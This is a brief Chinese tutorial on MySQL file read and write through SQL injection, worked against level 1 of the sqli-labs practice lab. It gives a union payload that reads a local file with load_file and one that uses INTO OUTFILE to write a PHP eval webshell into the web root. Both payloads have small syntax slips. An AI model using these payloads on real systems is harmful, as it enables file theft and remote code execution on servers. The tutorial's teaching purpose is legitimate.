SQL注入中的文件讀寫
以mysql為例
mysql讀寫文件有一個非常重要的前置條件:
show global variables like '%secure%'
查看mysql全局變量的配置,當輸入以上命令后,結果
secure_file_priv = 空的時候 ,任意讀寫
secure_file_priv = 某個路徑的時候,只能在規定的那個路徑下讀寫
secure_file_priv = NULL 不能讀寫
要修改配置在數據庫配置文件中修改
讀:
load_file('filename') filename就是指定讀取的文件
以sqlilab的第1關為例:
-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23
讀取1.txt里面的內容
寫:
select 'content' into outfile 'filename' : content指的是我們要寫的內容,filename是要保存的文件名
以sqlilab的第1關為例:
-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23
把一句話木馬寫到/www/test123.php
讀寫的條件:
1、secure_file_priv 的值不能是null
2、要知道讀寫的絕對路徑
